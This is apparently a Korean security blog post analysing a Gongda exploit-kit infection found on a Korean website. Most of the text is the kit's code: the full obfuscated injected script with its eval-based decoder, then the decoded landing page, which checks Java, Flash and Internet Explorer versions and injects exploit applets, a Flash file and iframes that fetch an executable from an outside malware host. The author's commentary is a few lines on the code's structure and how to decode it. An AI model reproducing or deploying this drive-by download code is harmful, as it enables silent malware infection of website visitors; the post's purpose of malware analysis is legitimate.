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gondad exploit kit을 이용한 악성코드 유포 본문

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gondad exploit kit을 이용한 악성코드 유포

nopsled 2015. 10. 25. 12:10


  아이닥터 사이트에서 공다팩을 이용하여 악성코드 유포중이다.



<script type="text/javascript" src="swfobject.js"></script>

<script src=jpg.js></script>

<script type="text/javascript">

var GAoIa3=navigator.userAgent.toLowerCase();

var WyyymuN6="1"+"1"+"1";

if(document.cookie.indexOf("tJCLDp7=")==-1 && GAoIa3.indexOf("linux")<=-1 && GAoIa3.indexOf("bot")==-1 && GAoIa3.indexOf("spider")==-1)

{

var QuIvMl7=deconcept.SWFObjectUtil.getPlayerVersion();

var expires=new Date();

expires.setTime(expires.getTime()+24*60*60*1000);

WyyymuN6="0"+"0";

document.cookie="tJCLDp7=Yes;path=/;expires="+expires.toGMTString();

if(document.location.hostname.length>0){GRjrMK4="1"+"1";delete GRjrMK4;try{GRjrMK4+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var wLGud5="1";KOzN2 = eval}GmiO3=unescape;}RyyzDd4="4720B7DC4406E7B177119EF42B62A4E56A3CA7AF1A3495EE5D0C9B91075BDC95035DC4990F58CFDB531C94D5170E95DA2712739624ED67CF2EE125BB32ED7FA726E071A623BF6FBE32E179F87DA542A65DBF0DE36AAB5EBD19854B8F01CD51800A90508714C4558915C112930DDC2180E6F8289DEAA42688A3E22E6BEBB07721A8C00A68F8B2717DFEBB7C3AFDB668618DBC606CC28F7063C38C7440878E7346D78C44559ECA293ACD945A14D896425CA2994801A360442CA4707225B96C122FB6650A1E92666C79F03B6A3BD2173A659101317A955D3D6B844760718B552667835D656CDF173C3ED202192A98527640662564157B24525F6A004A443B2C5A466F0A1C653573554C736457250B26646A5B5163674C3D676B063C7F5D397F27721F74713500486C694D5778222F4C6A773345337D601A2515454E1D162754641D735C6A576208725C2324525E77124D6D3D3F4D447B304F5D332E6C1263596B6F44251F630E2407452178266C07722B3E57782C780B69217412013767514161683B14707D3716051E363C06712915383434567A44625960183A702B183A75000A2969435F7D2949506F6F11092C31000C3625483C03215F2B49695D2C532D7D7D19257762133F6E20507222605A4528360214363C73192D303B51283C2C5E627C2E5168206E082110300E380221617B476521414877771901267D18043E782132600C3A4A7E7714274C675C25432D01684F7E233942702A241D7A3A655669294157443D6D5151282B2259747C22592F3D703C067F205B747D371763496749701925703E13064F4743612D45543D254D5D7039580539301207120F5D260B215F2B49695D2C532D7D7D19257667133F6E20507222605A4528360214363C73192D303B51283C2C5E627C2E5168226E082110330D380221617B476521414877751901267D1B053E782132600C3A5B706B5021472759364465553E4E2C622D615412611D7338671526410E5C4E3E6C5E412E6F2C4D612D656A677A3A506E5F205B617D317C6C502D5E744574323E13064F4743612D45543D3E4D405625584A726345487A2D16244C7D59660B2F543C5F617A630071213E58722D6E197E23691456357A1140786961003F1D4D4967773E5C69763B1B727337403A41734D7D4A630274416721084B60274051776413391D2C21327E6D43593F6C52600B215F2B49695D2C532D7D7D18257462133F6E20507222605A4528360214373C73192D303B51283C2C5E627C2E5168206E082210300D380221617B476521414877771901257D18043E7150443B295753716155245B350575123D0F7B0B37666C487A2A34527D303E0A2C79340B117921322F7B01494E6B7E234C6C3A2A436F7026437521715E57594A09364E77263E13064F4743612D45543D2E4750726C0E7F746F525D7B404C380D46502A48235F244A62336E14184E375C772C6153333F614F60247C4D4C6279374C2C323F44697B2650637439173C3E3B4D605039123740622F77436E2B0E4F60240B47763F06516F340E11200C3A5B706B502147274B21534C483C597822395B706C7251776A2C156A237D54542961454D69742A486B7D264264626918371545527F723758700E70586C6573356E4169305449276B575931610A57783F4B547A6849597D704529012003492D6A53264F7024625C703011476D3A69556838611303327B1D09223B771126397C200270245279752A5B6432315670592D5C6854622F786B632C4C48272E4B5E772C4C1D2C5C2645160B55506C6014294529106C4062522C4A75387012247360032A6826113D2B6B5545316C471B3D3D741934206E0D74686B196B77215171782B052911350D2B1627673A086C2A4E486E2D5C0E2E7C1E0427610511160B4B3115625B2E47685C6A467F5F20426725710D581417496C7B2E5D6D2B26002C5A6F504B646D2707677F234835362C5E62687E02222F7D7E7B4E675C6C50662277066829415F7C6B1F3D192A475A733048166864447D6B714629417C4C210F2F44214A7E2D2D407932721F3B2074436D762B14453566544E65626D4A6B7D685A6D666554747D6D1C2B11595E7B4E675C7C0A742468697F3152456D3C50553B6F4A5A357D0E4F74785F49666C4E284A71512548605D274767626514184E375C772C6153333F614F60247C4D4C6279374C2C3234442A3869526376285971752A5C765572543A0D3C4C164F642B444D6B675755670C5C4065384E4D6F64181E7D76166C013E0C7C0524074521752F2F5A78213E47372A6F536462654B5135665B6668652F4D2C7728436C752F18371545481D163655674523547E042F2673466F24445433741507237D1E1431770C5F746F545D7B7D0A7D123E087417243142501C4A3A4E67641A5A743B47023D71244C483E6C50522E62225F6D772659676665447F7D3D7477793D4D3A546C71775362335F497820080534442E59756D007E7E3C5F7F2E2F59527B604C0F45211F29546459681D36696C113569611A14427B3A17286B58543D6D51512E7B314070756F0F345B097B495B1B157370324A674967003F476B32754C317D6168360A1C0423601800231401092A4501115D3671790E39087C17387A7C122804751C3264275A7D3C680A3A7E340B0670605A4C676437142322771D2F2A77416D6A2E5830723254711D7B54794B6A2073447D65564D633C410D336A40406321161734655552746E512E0D6A5729087A593A05743829082B7820526B296D17732D695E1C32661F536160364C3930605A676D24447571355D79643A587B4D62527452207F20586A3741412F27455D76705B5D37274D546E640D1C38665B2E4465592D5E685E3D5A786772136525225274686E567029395952707E5E4975697E09232773152F2A77416D6A2E5830723254711D40725C6127377D447E201D0C282A5248217D19066F29544035465F527B73426E40655937542A02745B70322D42352A315E7C7561457E246D4D44707E5E4975697E0923763F457A7B7F1F666828122E207C76566A467E4C1A2568272501382D266A2557551E4753391D3643567F6054127E7757284A7F5D79056B4420597E74624565237208144267587328655F0F33675B403D2E205F7C22771C3A6C33497436085A7E78254F3A436F5C6B57257A11226C2A4E486E2D0A43763969406323455A6E7555143D7D5D214C64592B4B7B1E64097934385F2F6B7F577C266B5C78222A584E3D2748407222265161326E16051E2C5E627C2E513E6F364D5554774F71467235790029274E0E236B535F6A225D4D7E2B44516368515372645B2C552B117F2A075B274575212801662124726D3C725E7F39705E09727B56072C2E20466A772B4C616D2E537969261739275E33734F6D5979402932795C4A31545E662B514476650A566473001A2C35081E363E394A47665B314A68523C05732F28563B2520437C2664747525685F093767514161686A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28251E724F792E5F692168051D0C275643726D2E4C3A326E16051E424C011246481D162E341E1B0E377C416B24684D2B326F5B472D1C0B1E474C517B34585D3B4679767B6C7E2F1432354E4368502D5F7460246A533D124621730D3D7929685E5535285E5D4F4D011F3F1D4D496D782E45693838605354056B761238301240622D795C6E656F627B1E6E79557C13391D3549547E75551C7641732D4A3D03492D6959244E65256C795A08190B22450A537820614F44704C496A76431A1D3F1D4D496D782E4569382A6760486402192A6758744173243C796309584A3B72293A7728445163340C6B50705A512B3E394A476C542153681C1A52683A084B217F5D397D2D6C526929245765166C0B1E0D06274C68753348285F044B422A74381A7836557154661D6156512F4E1930482A486A254144766D6F597E1E1F03160B5459736040250343713140690A73261B242943703035137F2255646B0F430B1A5D025B406C69374C2445365F7E7D3800371545517570364D71007B4C514540762725012145406A3D4110590B59417E641735116555507A71516055667936403A0745217525204A61217067742F54644A7F3F362B346D53407469635875481F153319415569742A41753C0A40636B475F2D1F0A4B784D672054492F0E765A610063002C5C265C7E6D55487A25430C647C5C711C00362C4E7D25384A35111D51493E360C1046605E4D357C5A0556670D7E312B4A276C712754787D6F645B66155E711238301240622D795C6E65704261104B0228402250723D494C7E21497050497175180432204261593C4E313327776416280022450A537820614F44707F5455496509193F1D4D496D782E4569381F796166340B2F2D09597D48623579085B125A6A4118410828402250723D494C7E2156487B4D5271180432204261593C4E31182A6B4C2E26792C730D3D7929685E553528696C46617712091A335F716F085E60742A56645B324B76416458300D3C3C7F497F2648046A605F4D1E47";wOwHd8="function GIJdiJo7(){hEFyBu8=Math.PI;TmgTSW3=Math.tan;axOAB6=parseInt;wUCHVRb2='length';JFqui5='test';fjUSvCG0='replace';ONtWJIF1=axOAB6(~((hEFyBu8&hEFyBu8)|(~hEFyBu8&hEFyBu8)&(hEFyBu8&~hEFyBu8)|(~hEFyBu8&~hEFyBu8)));iDGmi4=axOAB6(((ONtWJIF1&ONtWJIF1)|(~ONtWJIF1&ONtWJIF1)&(ONtWJIF1&~ONtWJIF1)|(~ONtWJIF1&~ONtWJIF1))&1);/*denkken.com*/VOLI8=iDGmi4<<iDGmi4;new function(){lDFd4=KOzN2('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[fjUSvCG0](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[JFqui5](DvOvOY4));}catch(e){DvOvOY4=ONtWJIF1;}eRpT7='';QhLxf4=String[GmiO3('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%43%6F'+'%64%65')];for(SKqjm4=ONtWJIF1;SKqjm4<wOwHd8[wUCHVRb2];SKqjm4-=-iDGmi4)DvOvOY4=((DvOvOY4&127)<<25)|((DvOvOY4&4294967168)>>>7)+wOwHd8.charCodeAt(SKqjm4);voArg7+=iDGmi4;DvOvOY4>>>=0;for(SKqjm4=ONtWJIF1,JIugd6=iDGmi4;SKqjm4<RyyzDd4[wUCHVRb2];SKqjm4+=VOLI8,JIugd6++){if(SKqjm4>=(1<<3)){YywKDb5=SKqjm4%(1<<3);}else {YywKDb5=SKqjm4;}qqXX8=axOAB6('0x'+DvOvOY4.toString(iDGmi4<<4).substr(YywKDb5,2))+JIugd6;if(\/^(\\d{4})\/g[JFqui5](qqXX8+744))qqXX8%=84;eRpT7+=QhLxf4(axOAB6(ONtWJIF1+GmiO3('x')+RyyzDd4.charAt(SKqjm4)+RyyzDd4.charAt(SKqjm4+axOAB6(iDGmi4)))^qqXX8);}try{new function(){lDFd4(eRpT7);}}catch(e){try{new function(){Uqrvis1=parseInt;TmgTSW3(eRpT7);}}catch(e) {window.location='abou'+'t:bl'+'ank';}}}try{KOzN2('GIJdiJo7();')}catch(e) {try{voArg7=ONtWJIF1;KOzN2('GIJdiJo7();');}catch(e){alert('ere');}}";yrVnR1 = KOzN2(KOzN2);yrVnR1(wOwHd8);

}

</script>

<script language="javascript" src="http://count7.51yes.com/click.aspx?id=72296135&logo=8" charset="gb2312"></script>


  내가 아는게 맞다면 이런식으로 표현하는 것으로 기억한다. 차례대로 난독부, 해제부, 실행부로 나뉜다. 해당 공다팩 deobfuscation 방법은 http://14.63.218.164:8000/gongda/ 에서 복호화가 가능하다. 이 외에도, 스크립트 수정을 이용하여 복호화가 가능하다.



  위와 같이 ciphertext에는 난독부를 써 넣는다. key_string부분에는 해제부 부분을 복사하여 붙여넣으면 원문이 나오게 된다. 다음에서 복호화 내용이 나온다.



TmgTSW3 = lDFd4;

xqIaG7 = Uqrvis1(20100418);

while (window.closed) {}

document.write("<br>");

var gondady = document.createElement('body');

document.body.appendChild(gondady);

var gondadx = deployJava.getJREs() + "";

var arrx = gondadx.split(",");

gondadx = parseInt(arrx[0].replace(/\.|\_/g, ''));

for (i = 1; i < arrx.length; i++) {

    tmp = parseInt(arrx[i].replace(/\.|\_/g, ''));

    if (gondadx < tmp) gondadx = tmp;

}

if ((gondadx <= 17010 && gondadx >= 17000) || (gondadx <= 16032 && gondadx >= 16000) || (gondadx <= 15033 && gondadx >= 15000)) {

    var gondad = document.createElement('applet');

    gondad.width = "1";

    gondad.height = "1";

    if ((gondadx <= 16027 && gondadx >= 16000) || (gondadx >= 15000 && gondadx <= 15031)) {

        gondad.archive = "aNAV1.jpg";

        gondad.code = "GonqabGonqabExp.class";

        gondad.setAttribute("dota", "http://denkken.com/wer.exe");

        document.body.appendChild(gondad);

    } else if ((gondadx <= 17002 && gondadx >= 17000) || (gondadx <= 16030 && gondadx >= 16000) || (gondadx <= 15033 && gondadx >= 15000)) {

        gondad.archive = "gCyI4.jpg";

        gondad.code = "GonbadExx.Ohno.class";

        gondad.setAttribute("xiaomaolv", "http://denkken.com/wer.exe");

        gondad.setAttribute("bn", "woyouyizhixiaomaolv");

        gondad.setAttribute("si", "conglaiyebuqi");

        gondad.setAttribute("bs", "748");

        document.body.appendChild(gondad);

    } else if ((gondadx <= 17003 && gondadx >= 17000) || (gondadx <= 16032 && gondadx >= 16000)) {

        gondad.archive = "MPGzu3.jpg";

        gondad.code = "gonp1723.Gondattack.class";

        gondad.setAttribute("xiaomaolv", "http://denkken.com/wer.exe");

        gondad.setAttribute("bn", "woyouyizhixiaomaolv");

        gondad.setAttribute("si", "conglaiyebuqi");

        gondad.setAttribute("bs", "748");

        document.body.appendChild(gondad);

    } else if (gondadx <= 17006 && gondadx >= 17000) {

        var JimsG5 = window.navigator.userAgent.toLowerCase();

        if (JimsG5.indexOf('msie 6') > -1) {

            document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://denkken.com/wer.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'cvx2012xxxx.Gondvv.class'><param name=archive value= 'fxhro4.jpg'></OBJECT>");

        } else {

            gondad.archive = "fxhro4.jpg";

            gondad.code = "cvx2012xxxx.Gondvv.class";

            gondad.setAttribute("xiaomaolv", "http://denkken.com/wer.exe");

            gondad.setAttribute("bn", "woyouyizhixiaomaolv");

            gondad.setAttribute("si", "conglaiyebuqi");

            gondad.setAttribute("bs", "748");

            document.body.appendChild(gondad);

        }

    } else if (gondadx <= 17007 && gondadx >= 17000) {

        var JimsG5 = window.navigator.userAgent.toLowerCase();

        if (JimsG5.indexOf('msie 6') > -1) {

            document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://denkken.com/wer.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'gonw20125076.Gondqq.class'><param name=archive value= 'ikfq0.jpg'></OBJECT>");

        } else {

            gondad.archive = "ikfq0.jpg";

            gondad.code = "gonw20125076.Gondqq.class";

            gondad.setAttribute("xiaomaolv", "http://denkken.com/wer.exe");

            gondad.setAttribute("bn", "woyouyizhixiaomaolv");

            gondad.setAttribute("si", "conglaiyebuqi");

            gondad.setAttribute("bs", "748");

            document.body.appendChild(gondad);

        }

    } else if (gondadx <= 17010 && gondadx >= 17000) {

        var JimsG5 = window.navigator.userAgent.toLowerCase();

        if (JimsG5.indexOf('msie 6') > -1) {

            document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://denkken.com/wer.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'xml20130422.XML20130422.class'><param name=archive value= 'sefH7.jpg'></OBJECT>");

        } else {

            gondad.archive = "sefH7.jpg";

            gondad.code = "xml20130422.XML20130422.class";

            gondad.setAttribute("xiaomaolv", "http://denkken.com/wer.exe");

            gondad.setAttribute("bn", "woyouyizhixiaomaolv");

            gondad.setAttribute("si", "conglaiyebuqi");

            gondad.setAttribute("bs", "748");

            document.body.appendChild(gondad);

        }

    }

} else {


    if ((QuIvMl7['major'] == 11 && QuIvMl7['minor'] == 4 && QuIvMl7['rev'] == 402 && (QuIvMl7['gondad'] >= 265 && QuIvMl7['gondad'] <= 287)) || (QuIvMl7['major'] == 11 && QuIvMl7['minor'] == 5 && QuIvMl7['rev'] == 502 && (QuIvMl7['gondad'] >= 110 && QuIvMl7['gondad'] <= 146))) {

        document.writeln("<img src=hLJYqG0.swf><\/img>");

        setTimeout("document.writeln(\"<embed width=100 height=0 src=hLJYqG0.swf><\\/embed>\");", 2000);

    } else {


        var JimsG5 = window.navigator.userAgent.toLowerCase();

        if ((JimsG5.indexOf('msie 6') > -1) || (JimsG5.indexOf('msie 7') > -1)) {

            document.writeln("<iframe src=JAghles2.html><\/iframe>");

        } else if ((JimsG5.indexOf('msie 8') > -1) && (navigator.userAgent.indexOf('Windows NT 5.1') > -1) && (navigator.browserLanguage.indexOf('ko') > -1)) {

            document.writeln("<iframe src=aNAV1.html><\/iframe>");

        }

    }

};

delete wOwHd8;

delete GIJdiJo7;

delete hEFyBu8;

delete axOAB6;

delete wUCHVRb2;

delete ONtWJIF1;

delete iDGmi4;

delete VOLI8;

delete DvOvOY4;

delete eRpT7;

delete QhLxf4;

delete SKqjm4;

delete RyyzDd4;

delete lDFd4;

delete KOzN2;

delete yrVnR1;

delete GmiO3;

delete JIugd6;

delete fjUSvCG0;

delete Uqrvis1;

delete xqIaG7;

delete JFqui5;

delete voArg7;

delete TmgTSW3;

delete qqXX8;

delete YywKDb5;

delete GRjrMK4;

delete wLGud5;

delete UMbPv6;

delete VkNW5;

delete QKzFge2;

delete PnnYo2;

delete yLOLE5;

delete skXqRx3;

delete wkpIiJ0;

delete PLqzg2;

delete PWzFNQe8;

delete ftdHf1;

delete XfDYjvJ5;

delete VIFm4;

try {

    CollectGarbage();

} catch (e) {} 



hxxp://denkken.com/wer.exe 현재는 다운 불가능하여 분석 제외.

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